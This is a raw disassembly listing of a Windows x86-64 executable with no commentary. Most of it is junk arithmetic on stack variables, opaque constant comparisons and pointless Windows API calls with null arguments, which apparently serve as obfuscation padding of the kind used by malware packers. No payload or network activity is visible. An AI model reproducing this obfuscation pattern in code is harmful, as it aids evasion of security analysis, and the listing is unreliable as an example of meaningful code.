mov eax, ecx
mov dword [rsp + 0x74e4], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xed28], rax
mov rax, qword [rsp + 0xed08]
mov rcx, qword [rsp + 0xecd0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xecb8], rax
movzx eax, word [rsp + 0x2540]
movzx ecx, word [rsp + 0xefc]
sub eax, ecx
mov rcx, qword [rsp + 0xecf8]
mov word [rcx], ax
movzx eax, word [rsp + 0x2540]
mov rcx, qword [rsp + 0xecf8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1694], ax
movzx eax, byte [rsp + 0x4d7]
movzx ecx, byte [rsp + 0x4da]
add eax, ecx
mov byte [rsp + 0x3fd], al
mov rax, qword [rsp + 0xecd0]
mov rcx, qword [rsp + 0xed08]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xecb8], rax
cmp dword [rsp + 0x7510], 0xdab6
jbe 0x140014858
mov eax, dword [rsp + 0x74f8]
add eax, 0x48
mov dword [rsp + 0x74f8], eax
mov rax, qword [rsp + 0xecd0]
mov rcx, qword [rsp + 0xed08]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xecb8], rax
movzx eax, byte [rsp + 0x3fd]
movzx ecx, byte [rsp + 0x4da]
sar eax, cl
mov byte [rsp + 0x4d7], al
movzx eax, word [rsp + 0x1694]
movzx ecx, word [rsp + 0x2540]
xor eax, ecx
mov rcx, qword [rsp + 0xecf8]
mov word [rcx], ax
mov rax, qword [rsp + 0xecd8]
mov rcx, qword [rsp + 0xed18]
mov qword [rsp + 0xed30], rcx
movzx ecx, al
mov rax, qword [rsp + 0xed30]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xc7f8], rax
mov eax, dword [rsp + 0x7034]
mov ecx, dword [rsp + 0x74ec]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x74d4], eax
mov eax, dword [rsp + 0x74e4]
mov ecx, dword [rsp + 0x7530]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x705c], eax
movzx eax, word [rsp + 0xefc]
mov rcx, qword [rsp + 0xecf8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1694], ax
mov rax, qword [rsp + 0xed18]
mov rcx, qword [rsp + 0xecd8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xed18]
mov qword [rcx], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
mov eax, dword [rsp + 0x7034]
mov ecx, dword [rsp + 0x74ec]
sub ecx, eax
mov eax, ecx
mov dword [0x1401e3384], eax
lea rdx, [rsp + 0xed38]
mov rcx, qword [rsp + 0xed10]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x7538], eax
movsx eax, word [rsp + 0x2544]
movsx ecx, word [rsp + 0x1240]
add eax, ecx
mov word [rsp + 0x2550], ax
movzx eax, word [rsp + 0xefc]
movzx ecx, word [rsp + 0x2540]
and eax, ecx
mov word [rsp + 0x1694], ax
mov rax, qword [rsp + 0xed18]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xecd8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc7f8], rax
mov eax, dword [rsp + 0x74e4]
mov ecx, dword [rsp + 0x705c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7530], eax
mov eax, dword [rsp + 0x74d4]
mov ecx, dword [rsp + 0x7034]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x74ec], eax
mov rax, qword [rsp + 0xecd0]
movzx ecx, al
mov rax, qword [rsp + 0xed08]
shl rax, cl
mov qword [rsp + 0xecb8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
movsx eax, word [rsp + 0x1240]
movsx ecx, word [rsp + 0x2550]
or eax, ecx
mov word [rsp + 0x2544], ax
movzx eax, word [rsp + 0x1694]
movzx ecx, word [rsp + 0x2540]
sar eax, cl
mov word [rsp + 0xefc], ax
mov eax, dword [rsp + 0x7034]
mov ecx, dword [rsp + 0x74ec]
xor ecx, eax
mov eax, ecx
mov dword [0x1401e3384], eax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2540]
and eax, ecx
mov rcx, qword [rsp + 0xecf8]
mov word [rcx], ax
mov rax, qword [rsp + 0xecb8]
mov rcx, qword [rsp + 0xed08]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xecd0], rax
mov rax, qword [rsp + 0xed18]
mov rcx, qword [rsp + 0xecd8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc7f8], rax
mov eax, dword [rsp + 0x74e4]
mov ecx, dword [rsp + 0x751c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x705c], eax
mov eax, dword [rsp + 0x74ec]
mov ecx, dword [rsp + 0x74d4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7034], eax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2540]
sub eax, ecx
mov word [rsp + 0xefc], ax
movzx eax, byte [rsp + 0x3fd]
movzx ecx, byte [rsp + 0x4da]
add eax, ecx
mov byte [rsp + 0x4d7], al
movsx eax, word [rsp + 0x1240]
movsx ecx, word [rsp + 0x2544]
and eax, ecx
mov word [rsp + 0x2550], ax
mov eax, dword [rsp + 0x7034]
mov ecx, dword [rsp + 0x74d4]
sub ecx, eax
mov eax, ecx
mov dword [0x1401e3384], eax
cmp dword [rsp + 0x74f8], 0x614c
jbe 0x14001498d
mov rax, qword [rsp + 0xed08]
mov qword [rsp + 0xed40], rax
movzx eax, byte [rsp + 0x4da]
movzx ecx, byte [rsp + 0x3fd]
or eax, ecx
mov byte [rsp + 0x4d7], al
mov dword [rsp + 0x753c], 0x352d
mov rax, qword [rsp + 0xc7f8]
mov qword [rsp + 0xed48], rax
mov eax, dword [rsp + 0x74e4]
movzx ecx, al
mov eax, dword [rsp + 0x705c]
sar eax, cl
mov dword [rsp + 0x60e0], eax
mov eax, dword [rsp + 0x74d4]
movzx ecx, al
mov eax, dword [rsp + 0x74ec]
shl eax, cl
mov dword [rsp + 0x7034], eax
movzx eax, byte [rsp + 0x4d9]
mov byte [rsp + 0x7540], al
cmp byte [rsp + 0x7540], 0x2c
je 0x140014d66
jmp 0x140014df1
movzx eax, word [rsp + 0x2540]
mov rcx, qword [rsp + 0xecf8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xefc], ax
movsx eax, word [rsp + 0x2550]
movsx ecx, word [rsp + 0x2544]
add eax, ecx
mov word [rsp + 0x1240], ax
mov rax, qword [rsp + 0xed08]
mov rcx, qword [rsp + 0xed40]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xecb8], rax
movsx eax, byte [rsp + 0x2b3]
movsx ecx, byte [rsp + 0x4d9]
sub eax, ecx
mov byte [0x1401e3038], al
movzx eax, byte [rsp + 0x4da]
movzx ecx, byte [rsp + 0x3fd]
sub eax, ecx
mov byte [rsp + 0x4d7], al
jmp 0x140014ead
movsx eax, word [rsp + 0x1240]
movsx ecx, word [rsp + 0x2550]
add eax, ecx
mov word [rsp + 0x2544], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.tShbYDNKAgdojAz0
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xed50], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x752c], eax
mov rax, qword [rsp + 0xed18]
mov rax, qword [rax]
mov qword [rsp + 0xed58], rax
mov eax, dword [rsp + 0x74e4]
mov ecx, dword [rsp + 0x60e0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x751c], eax
mov dword [rsp + 0x22830], 0x114
mov eax, dword [rsp + 0x7034]
mov dword [rsp + 0x7544], eax
movsx eax, word [rsp + 0x1240]
mov dword [rsp + 0x7548], eax
cmp dword [rsp + 0x7548], 0
je 0x140014f8b
cmp dword [rsp + 0x7548], 0x395
je 0x140014edc
jmp 0x1401c56c1
movzx eax, word [rsp + 0x2540]
movzx ecx, word [rsp + 0x1694]
sub eax, ecx
mov word [rsp + 0xefc], ax
movzx eax, word [rsp + 0x2540]
movzx ecx, word [rsp + 0xefc]
add eax, ecx
mov rcx, qword [rsp + 0xecf8]
mov word [rcx], ax
movsx eax, word [rsp + 0x2550]
movsx ecx, word [rsp + 0x2544]
sub eax, ecx
mov word [rsp + 0x1240], ax
movsx eax, byte [rsp + 0x2b3]
movsx ecx, byte [rsp + 0x4d8]
and eax, ecx
mov byte [0x1401e3038], al
mov edx, dword [rsp + 0x74f4]
lea rcx, [rsp + 0x74d4]
call qword [sym.imp.ole32.dll_CoMarshalHresult]
mov dword [rsp + 0x754c], eax
movzx r9d, word [rsp + 0xefc]
mov r8, qword [rsp + 0xecd0]
mov edx, dword [rsp + 0x7034]
mov rcx, qword [rsp + 0xed08]
call fcn.1401c5c80
jmp 0x1401c56c1
mov rax, qword [rsp + 0xecd0]
movzx ecx, al
mov rax, qword [rsp + 0xed08]
shl rax, cl
mov qword [rsp + 0xecb8], rax
mov rax, qword [rsp + 0xed40]
movzx ecx, al
mov rax, qword [rsp + 0xecb8]
sar rax, cl
mov qword [rsp + 0xed08], rax
mov rax, qword [rsp + 0xed18]
mov rax, qword [rax]
mov qword [rsp + 0xed60], rax
mov eax, dword [rsp + 0x60e0]
mov ecx, dword [rsp + 0x705c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x751c], eax
xor edx, edx
mov eax, dword [rsp + 0x74d4]
div dword [rsp + 0x7544]
mov dword [rsp + 0x615c], eax
lea rax, [rsp + 0x3fd]
mov qword [rsp + 0xed68], rax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1694]
xor eax, ecx
mov word [rsp + 0xefc], ax
movsx eax, byte [0x1401e3038]
movsx ecx, byte [rsp + 0x2b3]
sub eax, ecx
mov byte [rsp + 0x4d8], al
cmp dword [rsp + 0x7504], 0x1509
ja 0x140015245
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
movsx eax, word [rsp + 0x2550]
movsx ecx, word [rsp + 0x1240]
add eax, ecx
mov word [0x1401e3380], ax
mov rax, qword [rsp + 0xed08]
mov rcx, qword [rsp + 0xecd0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xed40], rax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xefc]
add eax, ecx
mov word [rsp + 0x2540], ax
mov eax, dword [rsp + 0x7504]
add eax, 0x26
mov dword [rsp + 0x7504], eax
mov eax, dword [rsp + 0x7034]
mov ecx, dword [rsp + 0x74ec]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x615c], eax
mov rax, qword [rsp + 0xed18]
mov rcx, qword [rsp + 0xed58]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xed60], rax
mov eax, dword [rsp + 0x60e0]
mov ecx, dword [0x1401eee10]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x74e4], eax
mov rax, qword [rsp + 0xed68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4d7]
add eax, ecx
mov rcx, qword [rsp + 0xed68]
mov byte [rcx], al
mov rax, qword [rsp + 0xed68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4d7]
sub eax, ecx
mov byte [rsp + 0x4da], al
mov rax, qword [rsp + 0xed40]
mov rcx, qword [rsp + 0xecd0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xecb8], rax
mov eax, dword [rsp + 0x615c]
mov ecx, dword [rsp + 0x7034]
add ecx, eax
mov eax, ecx
mov dword [0x1401e3384], eax
movsx eax, word [rsp + 0x2550]
movsx ecx, word [rsp + 0x1240]
sar eax, cl
mov word [rsp + 0x2544], ax
movzx eax, word [rsp + 0xefc]
mov rcx, qword [rsp + 0xecf8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1694], ax
mov rax, qword [rsp + 0xed18]
mov rcx, qword [rsp + 0xed58]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xed48], rax
mov eax, dword [rsp + 0x705c]
movzx ecx, al
mov eax, dword [rsp + 0x751c]
shl eax, cl
mov dword [rsp + 0x60e0], eax
mov eax, dword [rsp + 0x615c]
mov ecx, dword [rsp + 0x74d4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7034], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x752c], eax
movsx eax, byte [rsp + 0x4d9]
movsx ecx, byte [rsp + 0x4d8]
add eax, ecx
mov byte [rsp + 0x2b3], al
jmp 0x14001504f
movzx eax, word [0x1401e3380]
mov word [rsp + 0x2554], ax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
mov dword [rsp + 0x7550], eax
cmp dword [rsp + 0x7550], 0xd3e
je 0x140015275
jmp 0x1400152c9
movzx eax, byte [rsp + 0x4d7]
movzx ecx, byte [rsp + 0x4da]
add eax, ecx
mov byte [rsp + 0x3fd], al
mov eax, dword [rsp + 0x74e4]
mov ecx, dword [rsp + 0x751c]
and ecx, eax
mov eax, ecx
mov dword [0x1401eee10], eax
mov rax, qword [rsp + 0xecd0]
mov rcx, qword [rsp + 0xed08]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xecb8], rax
jmp 0x14001538b
mov rax, qword [rsp + 0xed08]
mov rcx, qword [rsp + 0xecd0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xed40], rax
mov eax, dword [rsp + 0x74e4]
mov dword [rsp + 0x7554], eax
cmp dword [rsp + 0x7554], 0x1a54
je 0x140015366
cmp dword [rsp + 0x7554], 0x2a6a
je 0x140015311
jmp 0x14001538b
mov eax, dword [rsp + 0x74d4]
mov ecx, dword [rsp + 0x7034]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7544], eax
mov eax, dword [rsp + 0x60e0]
mov ecx, dword [rsp + 0x74e4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x705c], eax
mov rax, qword [rsp + 0xed58]
mov rcx, qword [rsp + 0xc7f8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xed18]
mov qword [rcx], rax
jmp 0x14001538b
lea r8, [rsp + 0xed70]
lea rdx, [rsp + 0xed18]
lea rcx, [rsp + 0x74ec]
call qword [sym.imp.ole32.dll_CoFileTimeToDosDateTime]
mov dword [rsp + 0x7558], eax
mov rax, qword [rsp + 0xed68]
movzx eax, byte [rax]
mov byte [rsp + 0x4db], al
movsx eax, word [rsp + 0x2550]
movsx ecx, word [rsp + 0x1240]
or eax, ecx
mov word [rsp + 0x2554], ax
mov dword [rsp + 0x755c], 0xb05c
mov rax, qword [rsp + 0xed48]
mov qword [rsp + 0xed78], rax
movabs rax, 0x7bb9e1bc2bfb76
cmp qword [rsp + 0xed78], rax
je 0x1400153e8
jmp 0x14001543e
movzx eax, word [rsp + 0xefc]
movzx ecx, word [rsp + 0x2540]
xor eax, ecx
mov word [rsp + 0x1694], ax
mov rax, qword [rsp + 0xed40]
movzx ecx, al
mov rax, qword [rsp + 0xed08]
sar rax, cl
mov qword [rsp + 0xecb8], rax
mov eax, dword [rsp + 0x7544]
movzx ecx, al
mov eax, dword [rsp + 0x74d4]
shl eax, cl
mov dword [0x1401e3384], eax
jmp 0x1400155bd
movzx eax, byte [rsp + 0x4d7]
movzx ecx, byte [rsp + 0x4da]
and eax, ecx
mov byte [rsp + 0x35e], al
mov dword [rsp + 0x7560], 0xc144
mov eax, dword [rsp + 0x74d4]
mov dword [rsp + 0x7564], eax
cmp dword [rsp + 0x7564], 0x2c2d
je 0x140015590
cmp dword [rsp + 0x7564], 0x40200020
je 0x140015493
jmp 0x1400155bd
movsx eax, word [rsp + 0x1240]
movsx ecx, word [rsp + 0x2554]
add eax, ecx
movsx ecx, word [rsp + 0x2544]
movsx edx, word [rsp + 0x2550]
add ecx, edx
cmp eax, ecx
jl 0x14001558e
mov rax, qword [rsp + 0xed18]
mov rcx, qword [rsp + 0xecd8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xed48], rax
mov eax, dword [rsp + 0x705c]
mov ecx, dword [rsp + 0x60e0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x74e4], eax
mov eax, dword [rsp + 0x751c]
imul eax, dword [rsp + 0x705c]
mov ecx, dword [rsp + 0x74e4]
mov edx, dword [rsp + 0x7530]
and edx, ecx
mov ecx, edx
cmp eax, ecx
jg 0x14001558e
movzx eax, byte [rsp + 0x4d8]
mov byte [rsp + 0x4dc], al
mov dword [rsp + 0x7568], 0xf20e
mov dword [rsp + 0x756c], 0x1e25
mov eax, dword [rsp + 0x7034]
mov ecx, dword [rsp + 0x7544]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x615c], eax
lea rax, [rsp + 0x2550]
mov qword [rsp + 0xed80], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
lea rcx, [rsp + 0xed20]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, word [0x1401e3380]
mov word [rsp + 0x2558], ax
jmp 0x1400155bd
lea r9, [rsp + 0x35e]
lea r8, [rsp + 0x4dc]
mov rdx, qword [rsp + 0xed88]
lea rcx, [rsp + 0xed58]
call qword [sym.imp.ole32.dll_MkParseDisplayName]
mov dword [rsp + 0x7570], eax
mov rax, qword [rsp + 0xed68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4d7]
sub eax, ecx
mov byte [rsp + 0x4da], al
mov eax, dword [rsp + 0x7544]
mov dword [rsp + 0x7574], eax
cmp dword [rsp + 0x7574], 0x30b6
je 0x1400155f6
jmp 0x140015636
movzx eax, word [rsp + 0xefc]
movzx ecx, word [rsp + 0x2540]
sub eax, ecx
mov word [rsp + 0x1694], ax
mov rax, qword [rsp + 0xed18]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xed48]
shl rax, cl
mov qword [rsp + 0xecd8], rax
jmp 0x1401c56a4
mov eax, dword [rsp + 0x74ec]
mov ecx, dword [rsp + 0x615c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x7034], eax
mov eax, dword [rsp + 0x751c]
mov ecx, dword [rsp + 0x60e0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x74e4], eax
movzx eax, byte [rsp + 0x4d7]
movzx ecx, byte [rsp + 0x4da]
sar eax, cl
mov byte [rsp + 0x35e], al
mov eax, dword [rsp + 0x74cc]
add eax, 0x8d
mov dword [rsp + 0x74cc], eax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2540]
and eax, ecx
mov word [rsp + 0xefc], ax
mov rax, qword [rsp + 0xed80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2550]
add eax, ecx
mov word [rsp + 0x1240], ax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xefc]
add eax, ecx
mov rcx, qword [rsp + 0xecf8]
mov word [rcx], ax
mov rax, qword [rsp + 0xecd0]
mov rcx, qword [rsp + 0xecb8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xed40], rax
mov rax, qword [rsp + 0xecd0]
mov rcx, qword [rsp + 0xed40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xed08], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1694]
sub eax, ecx
mov word [rsp + 0xefc], ax
movsx eax, byte [rsp + 0x4d9]
movsx ecx, byte [0x1401e3038]
and eax, ecx
mov byte [rsp + 0x4dc], al
mov eax, dword [rsp + 0x7544]
mov ecx, dword [rsp + 0x74ec]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x74d4], eax
mov eax, dword [rsp + 0x751c]
mov ecx, dword [rsp + 0x60e0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x74e4], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
mov rax, qword [rsp + 0xed18]
mov rcx, qword [rsp + 0xed58]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xecd8], rax
mov rax, qword [rsp + 0xed80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2550]
or eax, ecx
mov word [rsp + 0x2544], ax
movsx eax, byte [rsp + 0x2b3]
movsx ecx, byte [rsp + 0x4dc]
shl eax, cl
mov byte [0x1401e3038], al
movzx eax, byte [rsp + 0x4db]
movzx ecx, byte [rsp + 0x3fd]
sar eax, cl
mov byte [rsp + 0x4d7], al
lea rcx, [rsp + 0xed38]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movzx eax, word [rsp + 0xefc]
movzx ecx, word [rsp + 0x1694]
xor eax, ecx
mov word [rsp + 0x2540], ax
movsx eax, word [rsp + 0x1240]
movsx ecx, word [0x1401e3380]
and eax, ecx
mov word [rsp + 0x2544], ax
mov rax, qword [rsp + 0xed18]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xed48]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc7f8], rax
mov eax, dword [rsp + 0x74e4]
mov ecx, dword [rsp + 0x60e0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x751c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
mov rax, qword [rsp + 0xed68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x35e]
sub eax, ecx
mov rcx, qword [rsp + 0xed68]
mov byte [rcx], al
mov rax, qword [rsp + 0xed40]
mov rcx, qword [rsp + 0xecd0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xed08], rax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2540]
add eax, ecx
mov word [rsp + 0xefc], ax
mov eax, dword [rsp + 0x7544]
mov ecx, dword [rsp + 0x7034]
sub ecx, eax
mov eax, ecx
mov dword [0x1401e3384], eax
mov rax, qword [rsp + 0xed80]
movsx eax, word [rax]
movsx ecx, word [0x1401e3380]
and eax, ecx
mov rcx, qword [rsp + 0xed80]
mov word [rcx], ax
movsx eax, byte [rsp + 0x4dc]
movsx ecx, byte [rsp + 0x2b3]
add eax, ecx
mov byte [rsp + 0x4d8], al
mov rax, qword [rsp + 0xed08]
movzx ecx, al
mov rax, qword [rsp + 0xed40]
sar rax, cl
mov qword [rsp + 0xecb8], rax
mov eax, dword [rsp + 0x7544]
mov ecx, dword [rsp + 0x74d4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x615c], eax
mov eax, dword [rsp + 0x7530]
mov ecx, dword [rsp + 0x60e0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x705c], eax
cmp dword [rsp + 0x74cc], 0xa0d2
jne 0x140015636
mov rax, qword [rsp + 0xed18]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xecd8]
shl rax, cl
mov qword [rsp + 0xed60], rax
mov eax, dword [rsp + 0x74d4]
mov ecx, dword [rsp + 0x7034]
sub ecx, eax
mov eax, ecx
mov ecx, dword [0x1401e3384]
mov edx, dword [rsp + 0x74ec]
and edx, ecx
mov ecx, edx
cmp eax, ecx
ja 0x140015a42
lea rdx, [rsp + 0x3fd]
mov rcx, qword [rsp + 0xed90]
call qword [sym.imp.ole32.dll_CoGetTreatAsClass]
mov dword [rsp + 0x7578], eax
mov eax, dword [rsp + 0x60e0]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0xed80]
movzx r9d, word [rax]
mov r8d, dword [rsp + 0x7544]
mov rdx, qword [rsp + 0xed48]
mov rcx, qword [rsp + 0xecd8]
call fcn.1401c5cf0
jmp 0x1401c55a6
cmp dword [rsp + 0x7568], 0xec5f
jb 0x140015dbb
mov rax, qword [rsp + 0xc7f8]
mov rcx, qword [rsp + 0xed60]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xed58], rax
mov eax, dword [rsp + 0x74d4]
movzx ecx, al
mov eax, dword [rsp + 0x7034]
shr eax, cl
mov dword [rsp + 0x615c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
mov eax, dword [0x1401eee10]
movzx ecx, al
mov eax, dword [rsp + 0x751c]
shl eax, cl
mov dword [rsp + 0x60e0], eax
movsx eax, word [rsp + 0x2544]
movsx ecx, word [rsp + 0x2558]
or eax, ecx
mov rcx, qword [rsp + 0xed80]
mov word [rcx], ax
mov rax, qword [rsp + 0xed68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x35e]
add eax, ecx
mov byte [rsp + 0x4d7], al
movsx eax, byte [rsp + 0x4d8]
movsx ecx, byte [rsp + 0x2b3]
sub eax, ecx
mov byte [0x1401e3038], al
movsx eax, byte [rsp + 0x4d9]
movsx ecx, byte [rsp + 0x4dc]
and eax, ecx
mov byte [rsp + 0x2b3], al
movzx eax, word [rsp + 0x2540]
movzx ecx, word [rsp + 0x1694]
add eax, ecx
mov rcx, qword [rsp + 0xecf8]
mov word [rcx], ax
mov eax, dword [rsp + 0x7568]
sub eax, 0x61
mov dword [rsp + 0x7568], eax
movzx eax, byte [rsp + 0x4d7]
mov rcx, qword [rsp + 0xed68]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3fd], al
mov eax, dword [rsp + 0x60e0]
mov ecx, dword [rsp + 0x74e4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7530], eax
mov rax, qword [rsp + 0xc7f8]
mov rcx, qword [rsp + 0xed48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xed60], rax
mov eax, dword [rsp + 0x74d4]
mov ecx, dword [rsp + 0x7034]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x74ec], eax
movsx eax, word [rsp + 0x1240]
mov rcx, qword [rsp + 0xed80]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2544], ax
mov rax, qword [rsp + 0xed80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1240]
sub eax, ecx
mov word [rsp + 0x2554], ax
mov eax, dword [rsp + 0x74ec]
mov ecx, dword [rsp + 0x7544]
add ecx, eax
mov eax, ecx
mov dword [0x1401e3384], eax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1694]
shl eax, cl
mov word [rsp + 0x2540], ax
mov rax, qword [rsp + 0xecb8]
mov rcx, qword [rsp + 0xed08]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xed40], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xecb8]
mov rcx, qword [rsp + 0xed08]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xecd0], rax
mov eax, dword [rsp + 0x7034]
movzx ecx, al
mov eax, dword [rsp + 0x7544]
shr eax, cl
mov dword [rsp + 0x74d4], eax
mov eax, dword [rsp + 0x705c]
mov ecx, dword [rsp + 0x74e4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7530], eax
lea rdx, [rsp + 0xed00]
mov rcx, qword [rsp + 0xed10]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x757c], eax
mov rax, qword [rsp + 0xed48]
mov rcx, qword [rsp + 0xc7f8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xed18]
mov qword [rcx], rax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2540]
add eax, ecx
mov rcx, qword [rsp + 0xecf8]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x7580], eax
movsx eax, word [rsp + 0x2544]
mov rcx, qword [rsp + 0xed80]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1240], ax
movsx eax, byte [rsp + 0x4d8]
movsx ecx, byte [rsp + 0x4d9]
sub eax, ecx
mov byte [0x1401e3038], al
mov rax, qword [rsp + 0xed68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4d7]
sub eax, ecx
mov rcx, qword [rsp + 0xed68]
mov byte [rcx], al
mov rax, qword [rsp + 0xecb8]
mov rcx, qword [rsp + 0xed40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xed08], rax
movsx eax, word [rsp + 0x2544]
mov rcx, qword [rsp + 0xed80]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2554], ax
mov rax, qword [rsp + 0xed58]
mov rcx, qword [rsp + 0xc7f8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xed60], rax
jmp 0x140015a42
mov eax, dword [rsp + 0x74ec]
mov ecx, dword [rsp + 0x7034]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x68dc], eax
mov eax, dword [rsp + 0x751c]
movzx ecx, al
mov eax, dword [rsp + 0x60e0]
sar eax, cl
mov dword [rsp + 0x74e4], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
